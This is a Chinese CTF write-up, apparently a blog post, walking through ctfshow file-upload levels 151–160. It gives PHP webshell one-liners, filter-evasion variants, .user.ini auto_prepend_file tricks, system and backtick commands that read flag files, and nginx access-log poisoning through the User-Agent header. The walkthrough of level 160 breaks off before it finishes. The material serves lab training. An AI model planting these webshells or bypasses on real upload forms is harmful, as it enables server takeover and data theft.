当前位置: 首页 > news >正文

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!

这段时间一直在搞文件上传相关的知识,正好把ctf的题目写了写,也算是给自字做个总结!

不过ctf有一个缺点就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计!

一、实验准备

1.ctf网站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)

二、实验过程

(一)第151关 -- 前端验证

前提:我们已知此处可以上传图片类型文件(或者右键查看网站源码可以看见只允许.png文件)

对于前端验证,我们常用的有两种方法进行绕过:

1.在右键检查->设置处启用禁止js

不过此方法不建议使用,因为我们有时候虽然能够绕过,但是当网页含有大量使用js编写的逻辑功能时,会导致网页部分功能瘫痪!

汗颜,ctf也失效了,所以还是老老实实使用第二种方法

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

上传成功!

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!

我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

3.利用后门文件

一句话木马,上下两种POST括号内参数无论带不带引号均可以:

<?php @eval($_POST['ws'])?>

<?php @eval($_POST[ws])?>

对于上传成功的后门代码,我们有两种方法去利用(本文中我们统一使用第二种方法进行演示):

(1)通过蚁剑连接寻找flag文件

payload:

https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/
upload/1.php

连接密码(即post中所填内容):

ws

(2)直接通过hackbar发送post包利用php内置system()函数执行

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(二)第152关 -- 不严谨的后端验证

1.上传后门及分析

此处考察我们content-type验证为:image/png、image/gif、image/jpg

传输正确文件抓包,content-type为image/png

发送一句话木马1.php,修改content-type值为:image/png,但是没有包

此处注意一下,我直接上传1.php文件发现无法通过,定睛一看才发现前端验证都没通过,汗颜!上传1.png的木马抓包修改成1.php文件

上传成功!

2.利用后门

与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag

payload:

https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system('ls ../');

post data:ws=system("tac ../flag.php");

成功!

(三)第153关 -- 利用php中.user.ini文件进行解析

我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用

突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!

1. .user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径的内容包含首页文件处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)

内容:auto_prepend_file=1.png

上传成功

3.上传1.png格式一句话木马

上传成功!

4.利用

首先访问..upload/index.php触发.user.ini文件将1.png内容写入index.php

paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次操作如上述两关


(四)第154关 -- 内容过滤

执行思路如153关,但是在上传1.png文件时注意所过滤的内容

1.上传.user.ini文件

(具体不在进行演示与上述153关相同)

2.上传1.png木马文件寻找过滤内容

过滤内容:php

经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php

所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:

paylaod:<?=eval($_POST['ws']);?>

上传成功

3.利用后门

是骡子是马我们拉出来遛一遛,进行前述关卡利用操作

首先访问首页文件触发.user.ini将1.png内容写入,触发后门

payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(五)第155关 -- 内容过滤

整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.测试过滤内容

发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)

过滤内容:php

paylaod:<?=eval($_POST['ws']);?>

3.利用(与154一致)

访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容

成功!

-------------------------------我是漂亮的分界线---------------------------------

(六)156关 -- 内容过滤

由于ctfshow中一再强调关卡难度逐级递增,所以我们尝试上述关卡中的方法

1.上传.user.ini文件

内容:auto_prepend_file=1.png

上传成功!

2.上传后门1.png文件

尝试过滤内容:

内容是否为:php  不是

是否为:POST、eval? 不是
经过多次测试发现发现过滤内容是:[

所以问题转变成:如何在不使用[符号的同时上传后门

payload:

<?=eval($_POST{'ws'});?>

在php代码中可以使用“{}”代替“[]”,所以后门内容可以改写成如上

上传成功!

3.利用后门

首先访问../upload/index.php将1.png内容写入index.php --> 开始利用后门

payload:

https://9c809923-7bd3-456a-b3bb-a754ec208124.challenge.ctf.show/upload/index.php

post data:

ws=system("ls ../");

post data:

ws=system("tac ../flag.php");

(七)157关 -- 内容过滤

处理思路与前面相同,首先上传.user.ini文件 --> 上传1.png文件判断过滤内容 -> 利用漏洞

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.上传1.png文件

判断过滤内容:[;

payload:

<?=system('tac ../fl*')?>

直接使用调用内部函数system(),fl*中*表示通配符,即所有以fl开头的文件,所以本关不在利用后门漏洞而是访问包含文件index.php执行函数

3.利用

由于1.png中内容写入在../upload/index.php中,所以我们直接访问此路径即可执行函数

payload:

https://ff5b7999-7759-4737-9adf-2b2e4d01e19b.challenge.ctf.show/upload/index.php
 

成功!

(八)158关 -- 内容过滤

依旧三件套:上传.user.ini文件 -> 上传1.png文件判断过滤内容 -> 利用

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.上传1.png文件

妈呀,直接使用上一关payload直接过了

payload:

<?=system('tac ../fl*')?>

3.利用

payload:

https://41702df0-be1b-4d38-9aa8-6d30dd8f4fc4.challenge.ctf.show/upload/

(九)159关 -- 内容过滤

依旧三件套:上传.user.ini文件 -> 上传1.png文件判断过滤内容 -> 利用

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.上传1.png文件

上一关payload:

<?=system('tac ../fl*')?>

上传上一关payload发现过滤内容进一步为:(

这下好了,连函数也没有办法执行了,看来只能如此了,上反引号``,在linux操作系统系统中我们可以使用反引号包裹命令去执行,而之前我们所有获取结果的操作都是使用命令得到,所以使用反引号与我们目的不谋而合!

paylaod:

<?=`tac ../fl*`?>

3.利用

思路与上一关类似

payload:

https://1ad340f5-edcc-47a6-a780-8c952656afb4.challenge.ctf.show/upload

(十)160关 -- 内容过滤

三剑客思路如上

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.上传1.png文件

继续发送上一关的payload发现无法进行利用

并且 和 都被过滤了

看来祸不单行,只能使出我最后的杀手锏!文件日志出来吧!

思路:众所周知,日志文件中一般会记录访问者的ua头,所以我们利用这一点,通过ua头向日志中注入后门代码,再将日志文件路径包含在上传的1.png文件中,又因为1.png会被.user.ini文件触发包含在index.php文件中,所以我们访问index.php可以使后门生效

上传1.png,熟知linux系统日志存放位置,又此时过滤log字眼,所以使用.进行连接

payload:

<?=include"var/lo"."g/nginx/access.lo"."g"?>

我们访问看是否能查看日志

paylaod:


http://0734d5a2-6623-454a-890d-d95f9b33bfbc.challenge.ctf.show/upload/

在ua头处写入后门,取名2.php

payload:

<?php eval($_POST['ws']);?>

发现后门代码没有被加进去,我们改变策略,使用:<?=`tac ../fl*`?>

相关文章:

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!

这段时间一直在搞文件上传相关的知识&#xff0c;正好把ctf的题目写了写&#xff0c;也算是给自字做个总结&#xff01; 不过ctf有一个缺点就是所有的测试全部是黑盒测试&#xff0c;无法从代码层面和大家解释&#xff0c;我找个时间把upload-labs靶场做一做给大家讲讲白盒的代…...

【学习记录】服务器转发使用tensorboard

场景 代码在服务器上运行&#xff0c;想使用tensorboard查看训练的过程。 但是服务器上不能直接访问地址&#xff0c;所以要转发端口到本地&#xff0c;从而在本地网页中能够打开tensorboard。 参考&#xff1a;https://zhuanlan.zhihu.com/p/680596384 这时我们需要建立本地…...

类型转换之显式转换

显式转换——>手动处理&#xff0c;强制转换 括号强转 作用&#xff1a;一般情况下&#xff0c;将高精度的类型转换为低精度。 语法&#xff1a;变量类型 变量名 &#xff08;变量类型&#xff09;变量; 注意&#xff1a;精度问题&#xff0c;范围问题。 括号强转&#x…...

Mybatis多表查询,报错:Column ‘id‘ in field list is ambiguous

错误原因&#xff1a; Mybatis 多表查询时&#xff0c;多个表有相同名字的字段&#xff0c;比如 id&#xff0c;名字重复&#xff0c;没有指定对应的表名。 有两个地方需要注意&#xff1a;(1)将其中一个重复字段的 Mybatis的 column 修改为其他的名字。(2)字段加上对应的表名…...

PyCharm面板ctrl+鼠标滚轮放大缩小代码

1.【File】➡【Settings】 2.点击【Keymap】&#xff0c;在右边搜索框中搜incre&#xff0c;双击出现的【Increase Font Size】 3.在弹出的提示框中选择【Add Mouse Shortcut】 4.弹出下面的提示框后&#xff0c;键盘按住【ctrl】&#xff0c;并且上滑鼠标滚轮。然后点击【O…...

【Qt】数据库(一)SQLITE创建、增删查改

填坑1&#xff1a;如何连续插入 汇总SQlite语句 创建表格&#xff1a;create table <table_name> (f1 type1, f2 type2,…); 增&#xff1a;insert into <table_name> values (value1, value2,…); 改&#xff1a;update <table_name> set <f1value1>,…...

【模拟面试问答】力扣165题:比较版本号(逐个比较与双指针法详解及模拟面试问答)

在本篇文章中&#xff0c;我们将详细解读力扣第165题“比较版本号”。通过学习本篇文章&#xff0c;读者将掌握如何使用多种方法来解决这一问题&#xff0c;并了解相关的复杂度分析和模拟面试问答。每种方法都将配以详细的解释和ASCII图解&#xff0c;以便于理解。 问题描述 …...

用PhpStudy在本地电脑搭建WordPress网站教程(2024版)

对新手来说&#xff0c;明白了建站3要素后&#xff0c;如果直接购买域名、空间去建站&#xff0c;因为不熟练&#xff0c;反复测试主题、框架、插件等费时费力&#xff0c;等网站建成可能要两三个月&#xff0c;白白损失这段时间的建站费用。那么新手怎么建测试网站来练手呢&am…...

高中数学:平面向量-题型总结及解题思路梳理

一、知识点及解题思路梳理 高中&#xff0c;2/3的向量题目是坐标向量题&#xff0c;1/3是几何向量题。但是&#xff0c;这1/3的几何向量题可以转换成坐标向量题。 二、练习 例题1 几何型向量题 例题2...

【玩转google云】Google Cloud Platform (GCP) (WAF)详解

目录 引言 一、什么是Web Application Firewall? 二、GCP WAF简介 三、GCP WAF的主要功能...

前端开发工程师——数据可视化

canvas canvas绘制线段 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthd…...

【代码随想录训练营】【Day 35】【贪心-2】| Leetcode 122, 55, 45

【代码随想录训练营】【Day 35】【贪心-2】| Leetcode 122, 55, 45 需强化知识点 贪心&#xff1a;跳跃游戏 题目 122. 买卖股票的最佳时机 II 动态规划贪心&#xff1a;只要股票第二天涨了&#xff0c;前一天就买&#xff0c;第二就买 class Solution:def maxProfit(sel…...

【深度学习】ultralytics, yolo seg,实例分割图绘制,核对yolo seg 的txt标记对不对

这段代码的作用是从指定路径读取图像和标签文件&#xff0c;然后在图像上绘制分割区域和相关点&#xff0c;并保存最终的图像。以下是每个函数的具体作用及其解释&#xff1a; read_labels(label_path): 读取指定路径的标签文件。标签文件的每一行表示一个物体的分割信息&#…...

如何保证员工在精益变革中始终保持积极的态度?

在当今日新月异的商业环境中&#xff0c;企业为了保持竞争力&#xff0c;需要不断寻求创新和变革。精益变革作为一种提升效率和质量的有效手段&#xff0c;已逐渐成为企业转型升级的关键。然而&#xff0c;变革往往伴随着挑战和不确定性&#xff0c;如何保证员工在精益变革中始…...

【Java面试】三、Redis篇(下)

文章目录 1、抢券场景2、Redis分布式锁3、Redisson实现分布式锁4、Redisson实现的分布式锁是可重入锁5、Redisson实现分布式锁下的主从一致性6、面试 1、抢券场景 正常思路&#xff1a; 代码实现&#xff1a; 比如优惠券数量为1。正常情况下&#xff1a;用户A的请求过来&a…...

GpuMall智算云:QwenLM/Qwen1.5/Qwen1.5-7B-Chat

Qwen 是阿里巴巴集团 Qwen 团队的大型语言模型和大型多模态模型系列&#xff0c;现在大型语言模型已经升级到 Qwen1.5 版本。 GpuMall智算云 | 省钱、好用、弹性。租GPU就上GpuMall,面向AI开发者的GPU云平台 无论是语言模型还是多模态模型&#xff0c;都在大规模的多语言和多模…...

CentOS6.5 下编译 FreeSWITCH 1.2.23 版本

命题作文&#xff0c;慢慢来&#xff0c;一边做&#xff0c;一边记录。 老古董了&#xff0c;查资料很不容易&#xff0c;但朋友说不着急&#xff0c;这很好。 生命的意义在于折腾&#xff0c;不是吗&#xff1f; 先下载 CentOS6.5&#xff0c; 查了下资料&#xff0c;最后…...

2024年03月 Python(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试(1~6级)全部真题・点这里 一、单选题(共25题,共50分) 第1题 在Python中,hex(2023)的功能是?( ) A:将十进制数2023转化成十六进制数 B:将十进制数2023转化成八进制数 C:将十六进制数2023转化成十进制数 D:将八进制数2023转化成十进制数 答案:A …...

Redis篇 数据的编码方式和单线程模型

编码方式和单线程模型 一.redis中的数据类型二. Redis中查询编码方式命令三. 单线程模型四. 经典面试题,redis为何这么快?什么是IO多路复用? 一.redis中的数据类型 在redis中,数据类型大致分为5种 1.字符串类型 2.哈希 3.列表 4.集合 5.有序集合 redis底层在实现这些数据结构…...

(delphi11最新学习资料) Object Pascal 学习笔记---第13章第4节 (内存管理和接口)

13.4 内存管理和接口 ​ 在第11章中&#xff0c;我介绍了接口的内存管理的关键要素。与对象不同&#xff0c;接口是受管理且具有引用计数。如我所提到的&#xff0c;接口引用会增加所引用对象的引用计数&#xff0c;但您可以声明接口引用为弱引用以禁用引用计数&#xff08;但…...

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分&#xff1a; 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析&#xff1a; CTR…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

在WSL2的Ubuntu镜像中安装Docker

Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包&#xff1a; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI&#xff08;https://spring.io/projects/spring-ai&#xff09;作为Spring生态中的AI集成框架&#xff0c;其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似&#xff0c;但特别为多语…...

【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习

禁止商业或二改转载&#xff0c;仅供自学使用&#xff0c;侵权必究&#xff0c;如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案

目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后&#xff0c;迭代器会失效&#xff0c;因为顺序迭代器在内存中是连续存储的&#xff0c;元素删除后&#xff0c;后续元素会前移。 但一些场景中&#xff0c;我们又需要在执行删除操作…...

深入理解Optional:处理空指针异常

1. 使用Optional处理可能为空的集合 在Java开发中&#xff0c;集合判空是一个常见但容易出错的场景。传统方式虽然可行&#xff0c;但存在一些潜在问题&#xff1a; // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

WPF八大法则:告别模态窗口卡顿

⚙️ 核心问题&#xff1a;阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程&#xff0c;导致后续逻辑无法执行&#xff1a; var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题&#xff1a…...

uniapp 集成腾讯云 IM 富媒体消息(地理位置/文件)

UniApp 集成腾讯云 IM 富媒体消息全攻略&#xff08;地理位置/文件&#xff09; 一、功能实现原理 腾讯云 IM 通过 消息扩展机制 支持富媒体类型&#xff0c;核心实现方式&#xff1a; 标准消息类型&#xff1a;直接使用 SDK 内置类型&#xff08;文件、图片等&#xff09;自…...